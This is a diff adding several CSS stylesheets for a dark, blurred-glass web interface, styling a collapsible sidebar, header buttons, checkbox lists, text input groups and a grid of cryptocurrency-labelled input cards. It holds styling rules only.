|
||||
}
|
||||
|
||||
.list .list-item {
|
||||
list-style: none;
|
||||
width: 100%;
|
||||
height: 50px;
|
||||
margin: 5px 0;
|
||||
line-height: 50px;
|
||||
}
|
||||
|
||||
.list .list-item a {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
font-size: 18px;
|
||||
color: #fff;
|
||||
text-decoration: none;
|
||||
border-radius: 6px;
|
||||
white-space: nowrap;
|
||||
transition: .5s;
|
||||
}
|
||||
|
||||
.list .list-item.active a,
|
||||
.list .list-item a:hover {
|
||||
background: rgba(255, 255, 255, .2);
|
||||
}
|
||||
|
||||
.list .list-item a i {
|
||||
min-width: 50px;
|
||||
height: 50px;
|
||||
text-align: center;
|
||||
line-height: 50px;
|
||||
}
|
||||
|
||||
.sidebar .link_name {
|
||||
opacity: 0;
|
||||
pointer-events: none;
|
||||
transition: .3s;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.sidebar.active .link_name {
|
||||
opacity: 1;
|
||||
pointer-events: auto;
|
||||
transition-delay: calc(.1s * var(--i));
|
||||
}
|
||||
|
||||
.container {
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
background-size: 100% 300px;
|
||||
background-position: 0% 100%;
|
||||
transition: background-position 0.5s;
|
||||
}
|
||||
|
||||
.maintitle {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
max-width: 900px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.maintitle h1 {
|
||||
color: white;
|
||||
font-weight: bold;
|
||||
font-size: 24px;
|
||||
text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.help-button {
|
||||
position: fixed;
|
||||
top: 25px;
|
||||
right: 25px;
|
||||
z-index: 1000;
|
||||
pointer-events: auto;
|
||||
background: rgba(80, 166, 239, 0.2);
|
||||
border: 1px solid rgba(80, 166, 239, 0.5);
|
||||
color: #fff;
|
||||
padding: 8px 20px;
|
||||
border-radius: 12px;
|
||||
cursor: pointer;
|
||||
font-weight: 600;
|
||||
backdrop-filter: blur(2px);
|
||||
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
font-size: 14px;
|
||||
text-decoration: none;
|
||||
user-select: none;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.help-button:hover {
|
||||
background: #50A6EF;
|
||||
color: #fff;
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.clipper-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(2, 1fr);
|
||||
gap: 15px;
|
||||
width: 90%;
|
||||
max-width: 900px;
|
||||
margin: 10px auto;
|
||||
padding: 10px;
|
||||
background: rgba(255, 255, 255, 0.01);
|
||||
backdrop-filter: blur(2px);
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
border-radius: 12px;
|
||||
max-height: 55vh;
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
.clipper-grid::-webkit-scrollbar {
|
||||
display: block;
|
||||
width: 6px;
|
||||
}
|
||||
|
||||
.clipper-grid::-webkit-scrollbar-thumb {
|
||||
background: rgba(255, 255, 255, 0.2);
|
||||
border-radius: 10px;
|
||||
}
|
||||
|
||||
.crypto-item {
|
||||
background: rgba(255, 255, 255, 0.03);
|
||||
padding: 15px;
|
||||
border-radius: 12px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.05);
|
||||
transition: all 0.3s ease;
|
||||
}
|
||||
|
||||
.crypto-item:hover {
|
||||
background: rgba(255, 255, 255, 0.07);
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.2);
|
||||
}
|
||||
|
||||
.crypto-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
margin-bottom: 10px;
|
||||
color: #fff;
|
||||
font-size: 14px;
|
||||
font-weight: 500;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.crypto-header i {
|
||||
font-size: 20px;
|
||||
color: #50A6EF;
|
||||
}
|
||||
|
||||
.input-wrapper {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.input-wrapper input {
|
||||
width: 100%;
|
||||
padding: 10px 12px;
|
||||
background: rgba(0, 0, 0, 0.2);
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
border-radius: 12px;
|
||||
color: #fff;
|
||||
font-size: 13px;
|
||||
outline: none;
|
||||
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
|
||||
}
|
||||
|
||||
.input-wrapper input:focus {
|
||||
border-color: #50A6EF;
|
||||
box-shadow: 0 0 10px rgba(80, 166, 239, 0.2);
|
||||
background: rgba(0, 0, 0, 0.3);
|
||||
}
|
||||
|
||||
.input-wrapper input::placeholder {
|
||||
color: rgba(255, 255, 255, 0.4);
|
||||
}
|
||||
|
||||
input:-webkit-autofill,
|
||||
input:-webkit-autofill:hover,
|
||||
input:-webkit-autofill:focus,
|
||||
input:-webkit-autofill:active {
|
||||
-webkit-box-shadow: 0 0 0 30px rgba(0, 0, 0, 0.6) inset !important;
|
||||
-webkit-text-fill-color: white !important;
|
||||
transition: background-color 5000s ease-in-out 0s;
|
||||
}
|
||||
|
||||
.error-bubble {
|
||||
position: absolute;
|
||||
bottom: 110%;
|
||||
left: 50%;
|
||||
transform: translateX(-50%) translateY(10px);
|
||||
background: #ff4757;
|
||||
color: white;
|
||||
padding: 5px 12px;
|
||||
border-radius: 12px;
|
||||
font-size: 12px;
|
||||
white-space: nowrap;
|
||||
opacity: 0;
|
||||
pointer-events: none;
|
||||
transition: all 0.3s cubic-bezier(0.68, -0.55, 0.265, 1.55);
|
||||
z-index: 10;
|
||||
box-shadow: 0 4px 10px rgba(255, 71, 87, 0.3);
|
||||
}
|
||||
|
||||
.error-bubble::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 100%;
|
||||
left: 50%;
|
||||
transform: translateX(-50%);
|
||||
border-width: 6px;
|
||||
border-style: solid;
|
||||
border-color: #ff4757 transparent transparent transparent;
|
||||
}
|
||||
|
||||
.error-bubble.show {
|
||||
opacity: 1;
|
||||
transform: translateX(-50%) translateY(0);
|
||||
}
|
||||
|
||||
.button-container {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
gap: 20px;
|
||||
margin-top: 25px;
|
||||
width: 100%;
|
||||
max-width: 900px;
|
||||
}
|
||||
|
||||
.selectButton {
|
||||
background: rgba(80, 166, 239, 0.2);
|
||||
border: 1px solid rgba(80, 166, 239, 0.5);
|
||||
color: #fff;
|
||||
padding: 10px 25px;
|
||||
border-radius: 12px;
|
||||
cursor: pointer;
|
||||
font-weight: 600;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
|
||||
font-size: 14px;
|
||||
backdrop-filter: blur(2px);
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.selectButton:hover {
|
||||
background: #50A6EF;
|
||||
color: #fff;
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
#resetButton {
|
||||
background: rgba(255, 71, 87, 0.1);
|
||||
border-color: rgba(255, 71, 87, 0.3);
|
||||
}
|
||||
|
||||
#resetButton:hover {
|
||||
background: #ff4757;
|
||||
color: #fff;
|
||||
}
|
||||
@@ -0,0 +1,237 @@
|
||||
::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
font-family: 'Poppins', sans-serif;
|
||||
}
|
||||
|
||||
body {
|
||||
min-height: 100vh;
|
||||
background: url(img/bg.gif) no-repeat;
|
||||
background-size: cover;
|
||||
background-position: center;
|
||||
}
|
||||
|
||||
.sidebar {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 80px;
|
||||
height: 100%;
|
||||
background: transparent;
|
||||
backdrop-filter: blur(4px);
|
||||
padding: 6px 14px;
|
||||
transition: .5s;
|
||||
overflow: hidden;
|
||||
z-index: 2000;
|
||||
}
|
||||
|
||||
.sidebar.active {
|
||||
width: 260px;
|
||||
}
|
||||
|
||||
.sidebar .logo-menu {
|
||||
display: flex;
|
||||
white-space: nowrap;
|
||||
align-items: center;
|
||||
width: 100%;
|
||||
height: 70px;
|
||||
}
|
||||
|
||||
.sidebar .logo-menu .logo {
|
||||
font-size: 23px;
|
||||
color: #fff;
|
||||
pointer-events: none;
|
||||
opacity: 0;
|
||||
transition: .3s;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.sidebar.active .logo-menu .logo {
|
||||
opacity: 1;
|
||||
transition-delay: .2s;
|
||||
}
|
||||
|
||||
|
||||
.sidebar .logo-menu .toggle-btn {
|
||||
position: absolute;
|
||||
left: 50%;
|
||||
transform: translateX(-50%);
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
font-size: 22px;
|
||||
color: #fff;
|
||||
text-align: center;
|
||||
line-height: 40px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.sidebar.active .logo-menu .toggle-btn {
|
||||
left: 90%;
|
||||
}
|
||||
|
||||
.sidebar .list {
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.list .list-item {
|
||||
list-style: none;
|
||||
width: 100%;
|
||||
height: 50px;
|
||||
margin: 5px 0;
|
||||
line-height: 50px;
|
||||
}
|
||||
|
||||
.list .list-item a {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
font-size: 18px;
|
||||
color: #fff;
|
||||
text-decoration: none;
|
||||
border-radius: 6px;
|
||||
white-space: nowrap;
|
||||
transition: .5s;
|
||||
}
|
||||
|
||||
.list .list-item.active a,
|
||||
.list .list-item a:hover {
|
||||
background: rgba(255, 255, 255, .2);
|
||||
}
|
||||
|
||||
.list .list-item a i {
|
||||
min-width: 50px;
|
||||
height: 50px;
|
||||
text-align: center;
|
||||
line-height: 50px;
|
||||
}
|
||||
|
||||
.sidebar .link_name {
|
||||
opacity: 0;
|
||||
pointer-events: none;
|
||||
transition: .3s;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.sidebar.active .link_name {
|
||||
opacity: 1;
|
||||
pointer-events: auto;
|
||||
transition-delay: calc(.1s * var(--i));
|
||||
}
|
||||
|
||||
.container {
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
background-size: 100% 300px;
|
||||
background-position: 0% 100%;
|
||||
transition: background-position 0.5s;
|
||||
}
|
||||
|
||||
.maintitle {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
max-width: 90vh;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.maintitle h1 {
|
||||
color: white;
|
||||
font-weight: bold;
|
||||
font-size: 24px;
|
||||
text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.header-buttons {
|
||||
position: fixed;
|
||||
top: 25px;
|
||||
right: 25px;
|
||||
display: flex;
|
||||
gap: 10px;
|
||||
z-index: 1000;
|
||||
}
|
||||
|
||||
.help-button,
|
||||
.new-button {
|
||||
background: rgba(80, 166, 239, 0.2);
|
||||
border: 1px solid rgba(80, 166, 239, 0.5);
|
||||
color: #fff;
|
||||
padding: 8px 18px;
|
||||
border-radius: 12px;
|
||||
cursor: pointer;
|
||||
backdrop-filter: blur(2px);
|
||||
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
|
||||
font-size: 13px;
|
||||
font-weight: 600;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.help-button:hover,
|
||||
.new-button:hover {
|
||||
background: #50A6EF;
|
||||
color: #fff;
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.container .selectButton {
|
||||
background: rgba(80, 166, 239, 0.2);
|
||||
border: 1px solid rgba(80, 166, 239, 0.5);
|
||||
color: #fff;
|
||||
width: 43vh;
|
||||
height: 45px;
|
||||
border-radius: 12px;
|
||||
cursor: pointer;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
text-align: center;
|
||||
padding: 10px 18px;
|
||||
font-weight: 600;
|
||||
backdrop-filter: blur(2px);
|
||||
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
margin-top: 25px;
|
||||
}
|
||||
|
||||
.container .selectButton:hover {
|
||||
background: #50A6EF;
|
||||
color: #fff;
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.container .selectButton input[type="file"] {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.container .outputContainer {
|
||||
background: rgba(255, 255, 255, 0.01);
|
||||
backdrop-filter: blur(2px);
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
padding: 15px;
|
||||
border-radius: 12px;
|
||||
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
|
||||
}
|
||||
|
||||
.container .outputBox {
|
||||
color: white;
|
||||
padding: 10px;
|
||||
width: 90vh;
|
||||
height: 50vh;
|
||||
overflow-y: auto;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
@@ -0,0 +1,262 @@
|
||||
::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
font-family: 'Poppins', sans-serif;
|
||||
}
|
||||
|
||||
body {
|
||||
min-height: 100vh;
|
||||
background: url(img/bg.gif) no-repeat;
|
||||
background-size: cover;
|
||||
background-position: center;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.sidebar {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 80px;
|
||||
height: 100%;
|
||||
background: transparent;
|
||||
backdrop-filter: blur(4px);
|
||||
padding: 6px 14px;
|
||||
transition: .5s;
|
||||
overflow: hidden;
|
||||
z-index: 2000;
|
||||
}
|
||||
|
||||
.sidebar.active {
|
||||
width: 260px;
|
||||
}
|
||||
|
||||
.sidebar .logo-menu {
|
||||
display: flex;
|
||||
white-space: nowrap;
|
||||
align-items: center;
|
||||
width: 100%;
|
||||
height: 70px;
|
||||
}
|
||||
|
||||
.sidebar .logo-menu .logo {
|
||||
font-size: 23px;
|
||||
color: #fff;
|
||||
pointer-events: none;
|
||||
opacity: 0;
|
||||
transition: .3s;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.sidebar.active .logo-menu .logo {
|
||||
opacity: 1;
|
||||
transition-delay: .2s;
|
||||
}
|
||||
|
||||
.sidebar .logo-menu .toggle-btn {
|
||||
position: absolute;
|
||||
left: 50%;
|
||||
transform: translateX(-50%);
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
font-size: 22px;
|
||||
color: #fff;
|
||||
text-align: center;
|
||||
line-height: 40px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.sidebar.active .logo-menu .toggle-btn {
|
||||
left: 90%;
|
||||
}
|
||||
|
||||
.sidebar .list {
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.list .list-item {
|
||||
list-style: none;
|
||||
width: 100%;
|
||||
height: 50px;
|
||||
margin: 5px 0;
|
||||
line-height: 50px;
|
||||
}
|
||||
|
||||
.list .list-item a {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
font-size: 18px;
|
||||
color: #fff;
|
||||
text-decoration: none;
|
||||
border-radius: 12px;
|
||||
white-space: nowrap;
|
||||
transition: .5s;
|
||||
}
|
||||
|
||||
.list .list-item.active a,
|
||||
.list .list-item a:hover {
|
||||
background: rgba(255, 255, 255, .2);
|
||||
}
|
||||
|
||||
.list .list-item a i {
|
||||
min-width: 50px;
|
||||
height: 50px;
|
||||
text-align: center;
|
||||
line-height: 50px;
|
||||
}
|
||||
|
||||
.sidebar .link_name {
|
||||
opacity: 0;
|
||||
pointer-events: none;
|
||||
transition: .3s;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.sidebar.active .link_name {
|
||||
opacity: 1;
|
||||
pointer-events: auto;
|
||||
transition-delay: calc(.1s * var(--i));
|
||||
}
|
||||
|
||||
.container {
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.maintitle {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
max-width: 1000px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.maintitle h1 {
|
||||
color: white;
|
||||
font-weight: bold;
|
||||
font-size: 24px;
|
||||
text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.toggle-button {
|
||||
position: fixed;
|
||||
top: 25px;
|
||||
right: 25px;
|
||||
background: rgba(80, 166, 239, 0.2);
|
||||
border: 1px solid rgba(80, 166, 239, 0.5);
|
||||
color: #fff;
|
||||
padding: 10px 25px;
|
||||
border-radius: 12px;
|
||||
cursor: pointer;
|
||||
font-weight: 600;
|
||||
backdrop-filter: blur(2px);
|
||||
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
font-size: 14px;
|
||||
text-decoration: none;
|
||||
user-select: none;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
z-index: 1000;
|
||||
}
|
||||
|
||||
.toggle-button:hover {
|
||||
background: #50A6EF;
|
||||
color: #fff;
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.checkbox-container {
|
||||
background: rgba(255, 255, 255, 0.01);
|
||||
backdrop-filter: blur(2px);
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
padding: 20px;
|
||||
border-radius: 12px;
|
||||
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
|
||||
max-width: 550px;
|
||||
width: 90%;
|
||||
}
|
||||
|
||||
.checkbox-list-wrapper {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
}
|
||||
|
||||
.checkbox-list {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.spacer {
|
||||
width: 60px;
|
||||
}
|
||||
|
||||
.checkbox-item {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
margin: 10px 0;
|
||||
}
|
||||
|
||||
.checkbox-item input[type="checkbox"] {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.checkbox-item label {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
margin-left: 12px;
|
||||
font-size: 18px;
|
||||
color: #fff;
|
||||
position: relative;
|
||||
padding-left: 35px;
|
||||
text-shadow: 1px 1px 3px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.checkbox-item label::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
width: 25px;
|
||||
height: 25px;
|
||||
border: 2px solid #50A6EF;
|
||||
border-radius: 4px;
|
||||
background-color: transparent;
|
||||
transition: background-color 0.2s, border-color 0.2s;
|
||||
}
|
||||
|
||||
.checkbox-item input[type="checkbox"]:checked+label::before {
|
||||
background-color: #50A6EF;
|
||||
border-color: #50A6EF;
|
||||
}
|
||||
|
||||
.checkbox-item label::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
left: 7px;
|
||||
top: 4px;
|
||||
width: 12px;
|
||||
height: 12px;
|
||||
border: solid #000000;
|
||||
border-width: 0 2px 2px 0;
|
||||
transform: rotate(45deg);
|
||||
opacity: 0;
|
||||
transition: opacity 0.2s;
|
||||
}
|
||||
|
||||
.checkbox-item input[type="checkbox"]:checked+label::after {
|
||||
opacity: 1;
|
||||
}
|
||||
@@ -0,0 +1,383 @@
|
||||
::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
font-family: 'Poppins', sans-serif;
|
||||
}
|
||||
|
||||
body {
|
||||
min-height: 100vh;
|
||||
background: url(img/bg.gif) no-repeat;
|
||||
background-size: cover;
|
||||
background-position: center;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.sidebar {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 80px;
|
||||
height: 100%;
|
||||
background: transparent;
|
||||
backdrop-filter: blur(4px);
|
||||
padding: 6px 14px;
|
||||
transition: .5s;
|
||||
overflow: hidden;
|
||||
z-index: 2000;
|
||||
}
|
||||
|
||||
.sidebar.active {
|
||||
width: 260px;
|
||||
}
|
||||
|
||||
.sidebar .logo-menu {
|
||||
display: flex;
|
||||
white-space: nowrap;
|
||||
align-items: center;
|
||||
width: 100%;
|
||||
height: 70px;
|
||||
}
|
||||
|
||||
.sidebar .logo-menu .logo {
|
||||
font-size: 23px;
|
||||
color: #fff;
|
||||
pointer-events: none;
|
||||
opacity: 0;
|
||||
transition: .3s;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.sidebar.active .logo-menu .logo {
|
||||
opacity: 1;
|
||||
transition-delay: .2s;
|
||||
}
|
||||
|
||||
.sidebar .logo-menu .toggle-btn {
|
||||
position: absolute;
|
||||
left: 50%;
|
||||
transform: translateX(-50%);
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
font-size: 22px;
|
||||
color: #fff;
|
||||
text-align: center;
|
||||
line-height: 40px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.sidebar.active .logo-menu .toggle-btn {
|
||||
left: 90%;
|
||||
}
|
||||
|
||||
.sidebar .list {
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.list .list-item {
|
||||
list-style: none;
|
||||
width: 100%;
|
||||
height: 50px;
|
||||
margin: 5px 0;
|
||||
line-height: 50px;
|
||||
}
|
||||
|
||||
.list .list-item a {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
font-size: 18px;
|
||||
color: #fff;
|
||||
text-decoration: none;
|
||||
border-radius: 6px;
|
||||
white-space: nowrap;
|
||||
transition: .5s;
|
||||
}
|
||||
|
||||
.list .list-item.active a,
|
||||
.list .list-item a:hover {
|
||||
background: rgba(255, 255, 255, .2);
|
||||
}
|
||||
|
||||
.list .list-item a i {
|
||||
min-width: 50px;
|
||||
height: 50px;
|
||||
text-align: center;
|
||||
line-height: 50px;
|
||||
}
|
||||
|
||||
.sidebar .link_name {
|
||||
opacity: 0;
|
||||
pointer-events: none;
|
||||
transition: .3s;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.sidebar.active .link_name {
|
||||
opacity: 1;
|
||||
pointer-events: auto;
|
||||
transition-delay: calc(.1s * var(--i));
|
||||
}
|
||||
|
||||
.container {
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.maintitle {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
max-width: 70%;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.maintitle h1 {
|
||||
color: white;
|
||||
font-weight: bold;
|
||||
font-size: 24px;
|
||||
text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.stats-container {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
width: 70%;
|
||||
background: rgba(255, 255, 255, 0.01);
|
||||
backdrop-filter: blur(2px);
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
border-radius: 12px;
|
||||
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
|
||||
padding: 30px;
|
||||
margin-bottom: 20px;
|
||||
gap: 20px;
|
||||
}
|
||||
|
||||
.input-column {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.input-group {
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.input-group label {
|
||||
color: #fff;
|
||||
margin-bottom: 5px;
|
||||
display: inline-block;
|
||||
font-size: 14px;
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
cursor: pointer;
|
||||
transition: color 0.3s;
|
||||
}
|
||||
|
||||
.input-group label:hover {
|
||||
color: #50A6EF;
|
||||
}
|
||||
|
||||
.input-group input[type="text"] {
|
||||
width: 100%;
|
||||
padding: 10px 12px;
|
||||
background: rgba(0, 0, 0, 0.2);
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
border-radius: 12px;
|
||||
color: #fff;
|
||||
font-size: 13px;
|
||||
outline: none;
|
||||
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
|
||||
}
|
||||
|
||||
.input-group input[type="text"]:focus {
|
||||
border-color: #50A6EF;
|
||||
box-shadow: 0 0 10px rgba(80, 166, 239, 0.2);
|
||||
background: rgba(0, 0, 0, 0.3);
|
||||
}
|
||||
|
||||
.input-group input[type="text"]::placeholder {
|
||||
color: rgba(255, 255, 255, 0.4);
|
||||
}
|
||||
|
||||
/* Fix for yellow autofill background */
|
||||
input:-webkit-autofill,
|
||||
input:-webkit-autofill:hover,
|
||||
input:-webkit-autofill:focus,
|
||||
input:-webkit-autofill:active {
|
||||
-webkit-box-shadow: 0 0 0 30px rgba(0, 0, 0, 0.6) inset !important;
|
||||
-webkit-text-fill-color: white !important;
|
||||
transition: background-color 5000s ease-in-out 0s;
|
||||
}
|
||||
|
||||
.container .selectButton {
|
||||
background: rgba(80, 166, 239, 0.2);
|
||||
border: 1px solid rgba(80, 166, 239, 0.5);
|
||||
color: #fff;
|
||||
width: 43vh;
|
||||
height: 45px;
|
||||
border-radius: 12px;
|
||||
cursor: pointer;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
text-align: center;
|
||||
padding: 10px 18px;
|
||||
font-weight: 600;
|
||||
backdrop-filter: blur(2px);
|
||||
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
margin-top: 25px;
|
||||
}
|
||||
|
||||
#testButton {
|
||||
width: 150px;
|
||||
margin-top: 22px;
|
||||
background: rgba(80, 166, 239, 0.2);
|
||||
border: 1px solid rgba(80, 166, 239, 0.5);
|
||||
}
|
||||
|
||||
.container .selectButton:hover {
|
||||
background: #50A6EF;
|
||||
color: #fff;
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4);
|
||||
text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
.actions-container {
|
||||
display: flex;
|
||||
gap: 20px;
|
||||
margin-top: 25px;
|
||||
}
|
||||
|
||||
.actions-container .selectButton {
|
||||
margin-top: 0;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.clear-btn {
|
||||
background: rgba(255, 71, 87, 0.2) !important;
|
||||
border: 1px solid rgba(255, 71, 87, 0.5) !important;
|
||||
}
|
||||
|
||||
.clear-btn:hover {
|
||||
background: #ff4757 !important;
|
||||
box-shadow: 0 5px 15px rgba(255, 71, 87, 0.4) !important;
|
||||
}
|
||||
|
||||
.container .selectButton input[type="file"] {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.container .aboutRisk {
|
||||
margin-top: 5vh;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.container .aboutRisk h2 {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.container .aboutRisk p {
|
||||
text-align: center;
|
||||
margin-left: 35vh;
|
||||
margin-right: 35vh;
|
||||
}
|
||||
|
||||
.container .aboutRisk .bold {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.input-group {
|
||||
position: relative;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
input[type="text"].locked {
|
||||
background-color: rgba(0, 0, 0, 0.5);
